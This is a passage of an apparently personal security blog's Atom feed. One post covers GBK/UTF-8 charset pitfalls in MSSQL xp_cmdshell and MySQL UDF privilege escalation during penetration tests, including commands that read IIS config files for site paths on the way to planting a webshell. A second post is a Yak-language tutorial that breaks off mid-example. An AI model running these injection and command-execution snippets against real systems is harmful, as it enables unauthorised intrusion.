<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Wells&#39;s Blog</title>
  
  <subtitle>Learning Cyber Security...</subtitle>
  <link href="https://wells.host/atom.xml" rel="self"/>
  
  <link href="https://wells.host/"/>
  <updated>2025-08-05T09:16:33.187Z</updated>
  <id>https://wells.host/</id>
  
  <author>
    <name>Wells</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>数据库提权中的字符集挑战</title>
    <link href="https://wells.host/posts/5ae37a88/"/>
    <id>https://wells.host/posts/5ae37a88/</id>
    <published>2025-07-30T16:32:46.000Z</published>
    <updated>2025-08-05T09:16:33.187Z</updated>
    
    <content type="html"><![CDATA[<p>在数据库渗透测试中，成功获取数据库权限后，下一步往往是通过数据库提权来执行系统命令，进而获得更高级别的系统访问权限。然而，在这个过程中，字符集兼容性问题经常被忽视，于是便有了本篇文章。</p><p><strong>本篇文章以Windows中文环境下MSSQL和MySQL两种数据库提权为案例</strong></p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><h3 id="数据库提权调用"><a href="#数据库提权调用" class="headerlink" title="数据库提权调用"></a>数据库提权调用</h3><p>无论是MSSQL还是MySQL，当我们通过数据库执行系统命令时，实际上都是在调用操作系统的命令行接口。如图所示，当我们在数据库中执行ping命令时：</p><ul><li><p><strong>MSSQL</strong></p><style>.xitzapubekic{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731005937553.png" class="xitzapubekic" alt="image-20250731005937553"></li><li><p><strong>MySQL</strong>:</p></li></ul><style>.bheghxbmnibl{zoom: 50%;}</style><img src="/posts/5ae37a88/image-20250731005954386.png" class="bheghxbmnibl" alt="image-20250731005954386"><p>在提权过程中<strong>所有的系统命令最终都要通过操作系统的命令行解释器来执行</strong>。在中文Windows系统环境下，提权便调用了cmd.exe</p><h3 id="字符集"><a href="#字符集" class="headerlink" title="字符集"></a>字符集</h3><p>Windows查询命令行解释器的字符集</p><ul><li><code>chcp</code> 命令</li></ul><p>  例如，这里的代码页 936 表示简体中文（GB2312）</p><p>  <img src="/posts/5ae37a88/image-20250731012230121.png" alt="image-20250731012230121"></p><ul><li><p><code>cmd</code>程序属性</p><style>.hruiaonrhmdi{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731011527203.png" class="hruiaonrhmdi" alt="image-20250731011527203"></li></ul><p>在中文Windows系统环境下，cmd.exe默认使用<strong>GBK字符集</strong>进行输入输出处理，这意味着：</p><ol><li>从数据库传递给cmd的命令参数必须是GBK编码</li><li>cmd执行结果的输出也是GBK编码</li><li>如果字符集不匹配，就会出现乱码或命令执行失败</li></ol><h2 id="排坑指南"><a href="#排坑指南" class="headerlink" title="排坑指南"></a>排坑指南</h2><p>接下来介绍在渗透过程由于<strong>GBK字符集</strong>遇到以下情况的解决办法</p><ul><li>命令参数包含中文路径时执行失败</li><li>输出结果乱码无法正确解析</li><li>……</li></ul><style>.ouvgwtdghviz{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731020620535.png" class="ouvgwtdghviz" alt="image-20250731020620535"><h3 id="MSSQL盲注提权"><a href="#MSSQL盲注提权" class="headerlink" title="MSSQL盲注提权"></a>MSSQL盲注提权</h3><h4 id="环境背景"><a href="#环境背景" class="headerlink" title="环境背景"></a>环境背景</h4><p>在针对基于IIS + ASP.NET + MSSQL架构的Web应用进行渗透测试时，发现存在SQL注入漏洞，环境情况如下:</p><ul><li><strong>注入类型</strong>: 布尔盲注、堆叠注入</li><li><strong>环境限制</strong>: 不出网、仅暴露80&#x2F;443端口</li><li><strong>权限状况</strong>: 数据库用户为<code>sysadmin</code>，执行命令权限为<code>nt authority\system</code></li><li><strong>系统环境</strong>: 中文Windows Server</li></ul><p>为了后续方便内网渗透需要写入一个Webshell</p><h4 id="流程"><a href="#流程" class="headerlink" title="流程"></a>流程</h4><p>大体流程如下：</p><ol><li>创建临时表存储命令执行结果</li><li>利用堆叠执行系统命令，将结果插入临时表</li><li>通过<strong>盲注获取网站物理路径</strong></li><li>写入Webshell到网站目录</li></ol><h4 id="寻找网站根路径"><a href="#寻找网站根路径" class="headerlink" title="寻找网站根路径"></a>寻找网站根路径</h4><p>根据权限级别，我们有不同的命令选择：</p><p><strong>高权限情况下：</strong></p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">c:\<span class="title">windows</span>\<span class="title">system32</span>\<span class="title">inetsrv</span>\<span class="title">appcmd</span> <span class="title">list</span> <span class="title">vdir</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"><span class="title">type</span> <span class="title">C</span>:\<span class="title">Windows</span>\<span class="title">System32</span>\<span class="title">inetsrv</span>\<span class="title">Config</span>\<span class="title">applicationHost.config</span> | <span class="title">find</span> &quot;<span class="title">physicalPath</span>&quot;</span></span><br></pre></td></tr></table></figure><p><strong>一般权限情况下：</strong></p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">dir</span> C:\ /s /b | <span class="built_in">find</span> &quot;[替换为网站已有的静态文件]&quot;</span><br></pre></td></tr></table></figure><p>踩坑01：<strong>寻找网站根路径中文路径的乱码问题</strong></p><p><strong>问题现象</strong>: 包含中文路径的配置无法正确显示，返回的结果出现乱码。</p><p>当我们执行以下命令时：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">exec</span> master..xp_cmdshell &quot;type C:\Windows\System32\inetsrv\Config\applicationHost.config | find \&quot;physicalPath\&quot;&quot;</span><br></pre></td></tr></table></figure><p><img src="/posts/5ae37a88/image-20250731014221628.png" alt="image-20250731014221628"></p><p><strong>根本原因</strong>:</p><p><code>applicationHost.config</code>文件使用UTF-8编码保存，但CMD使用GBK字符集解码，导致中文字符显示为乱码</p><p><strong>解决方案</strong>: </p><p>使用CyberChef等工具，通过”Encode text” → “Encode text”的recipe来恢复正确的中文字符。</p><p><img src="/posts/5ae37a88/image-20250731014258621.png" alt="image-20250731014258621"></p><h4 id="盲注中的非ASCII字符处理"><a href="#盲注中的非ASCII字符处理" class="headerlink" title="盲注中的非ASCII字符处理"></a>盲注中的非ASCII字符处理</h4><p>在SQL Server中，<code>ASCII()</code>函数无法正确处理非ASCII字符：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> ASCII(<span class="string">&#x27;P&#x27;</span>) <span class="keyword">AS</span> [ASCII], ASCII(<span class="string">&#x27;中&#x27;</span>) <span class="keyword">AS</span> [Chinese];</span><br></pre></td></tr></table></figure><style>.suqiryxjpdjs{zoom:67%;}</style><img src="/posts/5ae37a88/image-20250731014709448.png" class="suqiryxjpdjs" alt="image-20250731014709448"><p>可以看到<code>ASCII()</code>函数无法正确映射非ASCII字符到正确的字符码位</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="type">NCHAR</span>(<span class="number">80</span>) <span class="keyword">AS</span> [<span class="type">CHARACTER</span>], <span class="type">NCHAR</span>(<span class="number">214</span>) <span class="keyword">AS</span> [<span class="type">CHARACTER</span>];</span><br></pre></td></tr></table></figure><style>.xrwxnmihkudl{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731014824601.png" class="xrwxnmihkudl" alt="image-20250731014824601"><p><strong>解决思路1 - 使用UNICODE函数：</strong></p><p> UNICODE函数支持返回正确的字符码位，可以通过使用它来找到非ASCII字符的正确码位。并可通过NCHAR函数恢复为字符</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> UNICODE(<span class="string">&#x27;中&#x27;</span>) <span class="keyword">AS</span> [Unicode_Value];</span><br></pre></td></tr></table></figure><style>.lszrjymqvtml{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731015124721.png" class="lszrjymqvtml" alt="image-20250731015124721"><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="type">NCHAR</span>(<span class="number">20013</span>) <span class="keyword">AS</span> [<span class="type">Character</span>]; </span><br></pre></td></tr></table></figure><style>.hfcxddehbdwt{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731015135825.png" class="hfcxddehbdwt" alt="image-20250731015135825"><p><strong>解决思路2 - 十六进制转换：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">  <span class="keyword">CONVERT</span>   (</span><br><span class="line">    <span class="type">VARCHAR</span> (MAX), </span><br><span class="line">    <span class="keyword">CONVERT</span> (</span><br><span class="line">      <span class="type">varbinary</span> (MAX), </span><br><span class="line">      (</span><br><span class="line">        <span class="keyword">SELECT</span> entry_value <span class="keyword">FROM</span> daily_back <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span></span><br><span class="line">      )</span><br><span class="line">    ), </span><br><span class="line">    <span class="number">2</span></span><br><span class="line">  );</span><br></pre></td></tr></table></figure><p>这种方法将中文字符转换为十六进制，通过盲注逐个字节读取，再通过CyberChef恢复原始字符。</p><h4 id="sqlmap-os-shell"><a href="#sqlmap-os-shell" class="headerlink" title="sqlmap os-shell"></a>sqlmap os-shell</h4><style>.fybbtvkbufrf{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731015358757.png" class="fybbtvkbufrf" alt="image-20250731015358757"><p>那我用SQLMAP就没啥坑了吧？有的兄弟有的</p><p>使用sqlmap的os-shell功能时，同样会遇到字符集问题，出现中文会执行失败：</p><style>.ujyoeytkedtm{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731015742031.png" class="ujyoeytkedtm" alt="image-20250731015742031"><p>为什么会这样呢？补充个参数<code>--proxy http://127.0.0.1:8080</code>，用bp抓个包分析一下</p><p>依旧执行<code>dir C:\inetpub\中文路径</code> 命令</p><p><img src="/posts/5ae37a88/image-20250731015918333.png" alt="image-20250731015918333"></p><p>解码得到</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">DECLARE</span> <span class="variable">@gqxz</span> <span class="type">VARCHAR</span>(<span class="number">8000</span>);</span><br><span class="line"><span class="keyword">SET</span> <span class="variable">@gqxz</span><span class="operator">=</span><span class="number">0x64697220433a5c696e65747075625ce4b8ade69687e8b7afe5be84</span>;</span><br><span class="line"><span class="keyword">INSERT INTO</span> sqlmapoutput(data) <span class="keyword">EXEC</span> master..xp_cmdshell <span class="variable">@gqxz</span><span class="comment">--</span></span><br></pre></td></tr></table></figure><p>将<code>0x64697220433a5c696e65747075625ce4b8ade69687e8b7afe5be84</code>通过CyberChef解码一下，发现是默认的UTF8编码的命令</p><p><img src="/posts/5ae37a88/image-20250731015941447.png" alt="image-20250731015941447"></p><p>所以我们可以得到包含中文的命令执行失败原因为：SQLMAP的os-shell会自动将字符出使用UTF8编码，并直接输入<code>xp_cmdshell</code> 但CMD使用GBK解码导致乱码，执行失败</p><p><strong>解决办法</strong>: 遇到包含中文的命令时，改用sqlmap的sql-shell直接执行：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">exec</span> master..xp_cmdshell &quot;xxxxx&quot;</span><br></pre></td></tr></table></figure><h3 id="MySQL-UDF提权"><a href="#MySQL-UDF提权" class="headerlink" title="MySQL UDF提权"></a>MySQL UDF提权</h3><h4 id="输出结果编码错误"><a href="#输出结果编码错误" class="headerlink" title="输出结果编码错误"></a>输出结果编码错误</h4><p>在中文Windows环境下MySQL UDF提权中，最常见的问题是执行结果的编码问题：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> sys_eval(&quot;dir E:\\&quot;);</span><br></pre></td></tr></table></figure><style>.trkuizofbkls{zoom: 50%;}</style><img src="/posts/5ae37a88/image-20250731020708829.png" class="trkuizofbkls" alt="image-20250731020708829"><p>对应的解决办法很简单，udf函数外加一层编码转化的函数</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="keyword">CONVERT</span>(sys_eval(<span class="string">&#x27;dir E:\\&#x27;</span>) <span class="keyword">USING</span> gbk);</span><br></pre></td></tr></table></figure><style>.oisubqmpfluj{zoom: 50%;}</style><img src="/posts/5ae37a88/image-20250731020827908.png" class="oisubqmpfluj" alt="image-20250731020827908"><h4 id="命令中的非ASCII字符处理"><a href="#命令中的非ASCII字符处理" class="headerlink" title="命令中的非ASCII字符处理"></a>命令中的非ASCII字符处理</h4><p>当命令参数包含中文，由于MySQL输入会根据默认字符集(<code>utf8mb4</code>&#x2F;<code>latin1</code>)编码对应的命令进入命令行解释器</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="keyword">CONVERT</span>(sys_eval(&quot;dir E:\\附件&quot;) <span class="keyword">USING</span> gbk);</span><br></pre></td></tr></table></figure><style>.splxfxypvbzn{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731021508417.png" class="splxfxypvbzn" alt="image-20250731021508417"><p><strong>解决方案</strong></p><p><strong>方法1 - 十六进制编码</strong>: 使用CyberChef将命令转换为对应编码的十六进制</p><style>.iwktbwggvbev{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731021903826.png" class="iwktbwggvbev" alt="image-20250731021903826"><p>然后使用十六进制替代原有的字符串，防止MySQL因为默认编码问题导致的含有中文命令执行错误问题</p><style>.ybjcxdtdwibg{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731021930376.png" class="ybjcxdtdwibg" alt="image-20250731021930376"><p><strong>方法2 - 编码函数</strong>:</p><p>既然又是编码问题，那再次使用MySQL的编码转化的函数不就好了吗？何必转成16进制这么麻烦</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="keyword">CONVERT</span>(sys_eval(<span class="keyword">CONVERT</span>(<span class="string">&#x27;dir E:\\附件&#x27;</span> <span class="keyword">USING</span> gbk)) <span class="keyword">USING</span> gbk);</span><br></pre></td></tr></table></figure><style>.shtdqgkflbvd{zoom:50%;}</style><img src="/posts/5ae37a88/image-20250731022157182.png" class="shtdqgkflbvd" alt="image-20250731022157182"><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>总是遇到这种奇奇怪怪的问题。。。。</p><p>字符集问题在数据库渗透测试中往往被忽视，在Windows环境下应当格外注意</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;在数据库渗透测试中，成功获取数据库权限后，下一步往往是通过数据库提权来执行系统命令，进而获得更高级别的系统访问权限。然而，在这个过程中，字符集兼容性问题经常被忽视，于是便有了本篇文章。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本篇文章以Windows中文环境下MSSQL和MySQL两</summary>
      
    
    
    
    <category term="penetration" scheme="https://wells.host/categories/penetration/"/>
    
    
    <category term="database" scheme="https://wells.host/tags/database/"/>
    
    <category term="character" scheme="https://wells.host/tags/character/"/>
    
  </entry>
  
  <entry>
    <title>Yakit插件开发</title>
    <link href="https://wells.host/posts/72baa392/"/>
    <id>https://wells.host/posts/72baa392/</id>
    <published>2025-07-01T21:51:59.000Z</published>
    <updated>2025-08-05T09:16:33.186Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Yak语言基础"><a href="#Yak语言基础" class="headerlink" title="Yak语言基础"></a>Yak语言基础</h2><blockquote><p>Yakit使用的是Yak语言，所以在写插件之前需要学习一下Yak语言（感觉比较像Python和JavaScript）</p></blockquote><h3 id="变量与数据类型"><a href="#变量与数据类型" class="headerlink" title="变量与数据类型"></a>变量与数据类型</h3><h4 id="变量"><a href="#变量" class="headerlink" title="变量"></a>变量</h4><p>Yak中赋值符为：<code>=</code></p><p><strong>定义变量</strong></p><p>使用<code>var</code>作为关键词，<code>var</code>后使用空格作为分隔符即可定义变量</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">var a            // 声明变量a</span><br><span class="line">var b, c         // 声明变量b和c</span><br><span class="line">var d, e = 1, 2  // 声明变量d和e，并分别赋值为1和2</span><br></pre></td></tr></table></figure><p>在没有<code>var</code>修饰的时候，赋值符“&#x3D;”会为左边的“标识符”自动创建一个变量</p><h4 id="基础数据类型"><a href="#基础数据类型" class="headerlink" title="基础数据类型"></a>基础数据类型</h4><ul><li><code>int</code>：表示可以带正负号的整数数据类型（在Yak语言中占用的大小为64位）；</li><li><code>string</code>：用于表示一系列字符数据的，字符串中可以使用转义字符，例如<code>\n</code>等；</li><li><code>float</code>：用于表示浮点数；</li><li><code>byte</code>：等同于“无符号8位整数”，通常用来表示一个“字节”，类似C语言中的Char类型；</li><li><code>nil</code>与<code>undefined</code>一般用于表示一个未定义的变量或者空值；</li><li><code>bool</code>：表示“布尔值”，其值只有两种情况，<code>true</code>或<code>false</code>；</li></ul><p><strong>Tips:</strong></p><p><strong>声明一个非十进制的整数</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// 二进制声明</span><br><span class="line">a = 0b10// a赋值2</span><br><span class="line"></span><br><span class="line">// 八进制声明</span><br><span class="line">b = 0100// b赋值64</span><br><span class="line"></span><br><span class="line">// 十六进制声明</span><br><span class="line">d = 0x10// d赋值16</span><br></pre></td></tr></table></figure><p><strong>多行文本</strong></p><p>可以使用<code>``</code>(反引号)来定义多行文本，此时会忽略文本中的转义符号</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">abc = `Hello World\n</span><br><span class="line">Hello Yak`</span><br><span class="line">println(abc)</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line">Output:</span><br><span class="line"></span><br><span class="line">Hello World\n</span><br><span class="line">Hello Yak</span><br><span class="line">*/</span><br></pre></td></tr></table></figure><p><strong>格式化字符串</strong></p><p>Yak语言使用<code>%</code>进行基本的字符串格式化。格式化字符串的两种用法和操作基本语法：</p><ol><li><p><code>printf</code>函数：第一个参数为需要格式化的字符串模版，其余参数为为格式化字符串中的参数；</p></li><li><p><code>%</code>格式化操作符：</p><ul><li><p><code>%</code>左边为需要格式化的模版，右边为一个格式化字符串的参数，例如 <code>&quot;Hello %v&quot; % &quot;World&quot;</code>；</p></li><li><p>如果有多个需要格式化的点，那么需要使用 <code>[]</code>来包裹，并用逗号分隔元素，例如：<code>&quot;My name is %v, I am %d years old&quot; % [&quot;John&quot;, 18]</code>。</p></li></ul></li></ol><p>示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">printf(&quot;Hello I am %d years old\n&quot;, 18)</span><br><span class="line">println(&quot;Hello %v + %05d&quot; % [&quot;World&quot;, 4])</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line">OUTPUT:</span><br><span class="line"></span><br><span class="line">Hello I am 18 years old</span><br><span class="line">Hello World + 00004</span><br><span class="line">*/</span><br></pre></td></tr></table></figure><p>格式化字符串中的占位符</p><table><thead><tr><th align="center">字符串中的占位符</th><th align="center">解释</th></tr></thead><tbody><tr><td align="center">%v</td><td align="center">根据变量的类型自动选择格式。</td></tr><tr><td align="center">%T</td><td align="center">输出变量的类型。</td></tr><tr><td align="center">%d</td><td align="center">十进制整数。</td></tr><tr><td align="center">%b</td><td align="center">二进制整数。</td></tr><tr><td align="center">%o</td><td align="center">八进制整数。</td></tr><tr><td align="center">%x</td><td align="center">十六进制整数，使用小写字母。</td></tr><tr><td align="center">%X</td><td align="center">十六进制整数，使用大写字母。</td></tr><tr><td align="center">%f</td><td align="center">浮点数，不带指数部分。</td></tr><tr><td align="center">%c</td><td align="center">ASCII码对应的字符。</td></tr><tr><td align="center">%q</td><td align="center">带引号的字符或字符串。</td></tr><tr><td align="center">%s</td><td align="center">字符串。</td></tr><tr><td align="center">%p</td><td align="center">输出十六进制表示的内存地址或引用。</td></tr></tbody></table><p><strong>字符串模版字面量</strong></p><p>​类似于Python，在字符串的前面加上一个小写的 <code>f</code>，然后在字符串内部用 <code>$&#123;&#125;</code> 包裹需要插入的表达式。</p><p>示例：字符串中插入变量 <code>a</code> 和 <code>name</code> 的值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">println(f`Hello $&#123;a&#125;, Hello $&#123;name&#125;`)</span><br></pre></td></tr></table></figure><h4 id="其他数据类型"><a href="#其他数据类型" class="headerlink" title="其他数据类型"></a>其他数据类型</h4><h5 id="列表类型：List"><a href="#列表类型：List" class="headerlink" title="列表类型：List"></a><strong>列表类型</strong>：List</h5><p>在 Yak 语言中，List 是一种动态数组，它可以存储和管理相同类型的元素。Yak 语言支持字面量声明和 <code>make</code> 语法来创建 List</p><p>字面量创建列表：使用 <code>[var1, var2, var3...]</code> 形式快速声明一个 List。Yak 语言会根据列表内的元素类型自动推断合适的 List 类型。</p><h5 id="字典类型：-map"><a href="#字典类型：-map" class="headerlink" title="**字典类型：**map"></a>**字典类型：**map</h5><p>字典用于存储键值对</p><p>字面量创建字典示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">m = &#123;&quot;a&quot;: 1, &quot;b&quot;: 2&#125;</span><br></pre></td></tr></table></figure><h5 id="通道类型：-channel"><a href="#通道类型：-channel" class="headerlink" title="**通道类型：**channel"></a>**通道类型：**channel</h5><p>通道类型用于多线程之间的数据共享</p><p><strong>创建与声明</strong>：使用make函数来创建一个新的channel。这就像是开设一个新的邮局，用于发送和接收包裹。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ch := make(chan int)      // 创建一个没有存储空间的int类型的channel</span><br><span class="line">ch2 := make(chan var, 2)  // 创建一个有2个存储空间的var类型的channel</span><br></pre></td></tr></table></figure><p><strong>数据写入</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ch &lt;- 1      // 将一个整数1寄出到ch，但是因为 ch 在上文创建时没有声明存储空间，这里会阻塞</span><br><span class="line">ch2 &lt;- &quot;a&quot;   // 将一个字符串寄出到ch2</span><br><span class="line">ch2 &lt;- 0     // 将一个整数0寄出到ch2</span><br></pre></td></tr></table></figure><p><strong>读取数据</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">v := &lt;-ch    // 从ch取走一个包裹</span><br></pre></td></tr></table></figure><p>Tips：判断数据是否取走</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">v, ok := &lt;-ch</span><br><span class="line">if ok &#123;</span><br><span class="line">    println(&quot;取走成功，值为:&quot;, v)</span><br><span class="line">&#125; else &#123;</span><br><span class="line">    println(&quot;邮局已关闭&quot;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Channel的属性</strong></p><p>Yak提供了一些内置的函数来检查channel的当前状态。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">len(ch2)   // 查看ch2中还有多少个包裹</span><br><span class="line">cap(ch2)   // 查看ch2最多能存放多少个包裹</span><br></pre></td></tr></table></figure><p><strong>关闭Channel</strong></p><p>关闭后的channel不能再寄出数据，但仍然可以从中取走数据。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">close(ch2)</span><br></pre></td></tr></table></figure><h3 id="运算符"><a href="#运算符" class="headerlink" title="运算符"></a>运算符</h3><h4 id="数学运算"><a href="#数学运算" class="headerlink" title="数学运算"></a>数学运算</h4><p>数学运算包括加、减、乘、除和取余等操作：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">println(2 + 2)    // 输出: 4</span><br><span class="line">println(50 - 5*6) // 输出: 20</span><br><span class="line">println(8 / 5)    // 输出: 1</span><br><span class="line">println(17 % 3)   // 输出: 2</span><br></pre></td></tr></table></figure><h4 id="逻辑运算符"><a href="#逻辑运算符" class="headerlink" title="逻辑运算符"></a><strong>逻辑运算符</strong></h4><p>逻辑运算符在Yak语言中用于进行逻辑操作，包括逻辑与(<code>&amp;&amp;</code>)和逻辑或(<code>||</code>)</p><p>这两个运算符都具有短路特性，即如果左侧的操作数已经能确定整个表达式的值，那么就不会再计算右侧的操作数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">a = true</span><br><span class="line">b = false</span><br><span class="line"></span><br><span class="line">println(a &amp;&amp; b) // 输出：false</span><br><span class="line">println(a || b) // 输出：true</span><br></pre></td></tr></table></figure><h4 id="三元逻辑运算符"><a href="#三元逻辑运算符" class="headerlink" title="三元逻辑运算符"></a><strong>三元逻辑运算符</strong></h4><p>形式为<code>condition ? value1 : value2</code></p><p>如果condition为真，则表达式的结果为value1，否则为value2。这个运算符也具有短路特性，即如果条件已经能确定整个表达式的值，那么就不会再计算其他的值。以下是一些使用示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">a = 5b = 3</span><br><span class="line">result = a &gt; b ? a : bprintln(result) // 输出：5</span><br></pre></td></tr></table></figure><h3 id="控制与循环"><a href="#控制与循环" class="headerlink" title="控制与循环"></a>控制与循环</h3><blockquote><p>这部分比较像Python，直接写示例就好了</p></blockquote><h4 id="条件判断"><a href="#条件判断" class="headerlink" title="条件判断"></a>条件判断</h4><p>示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">x = 88; // 学生的成绩</span><br><span class="line">if x &gt;= 90 &#123;</span><br><span class="line">    print(&quot;非常优秀&quot;);</span><br><span class="line">&#125; else if x &gt;= 80 &#123;</span><br><span class="line">    print(&quot;优秀&quot;);</span><br><span class="line">&#125; else if x &gt;= 70 &#123;</span><br><span class="line">    print(&quot;良好&quot;);</span><br><span class="line">&#125; else if x &gt;= 60 &#123;</span><br><span class="line">    print(&quot;普通&quot;);</span><br><span class="line">&#125; else &#123;</span><br><span class="line">    print(&quot;不及格&quot;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="SWITCH-语句"><a href="#SWITCH-语句" class="headerlink" title="SWITCH 语句"></a>SWITCH 语句</h4><p>示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">grade = &#x27;B&#x27;</span><br><span class="line">switch (grade) &#123;</span><br><span class="line">  case &#x27;A&#x27;:</span><br><span class="line">    println(&quot;优秀&quot;);</span><br><span class="line">  case &#x27;B&#x27;:</span><br><span class="line">    println(&quot;良好&quot;);</span><br><span class="line">  case &#x27;C&#x27;:</span><br><span class="line">    println(&quot;合格&quot;);</span><br><span class="line">  case &#x27;D&#x27;:</span><br><span class="line">    println(&quot;需要努力&quot;);</span><br><span class="line">  default:</span><br><span class="line">    println(&quot;无效的成绩&quot;);</span><br><span 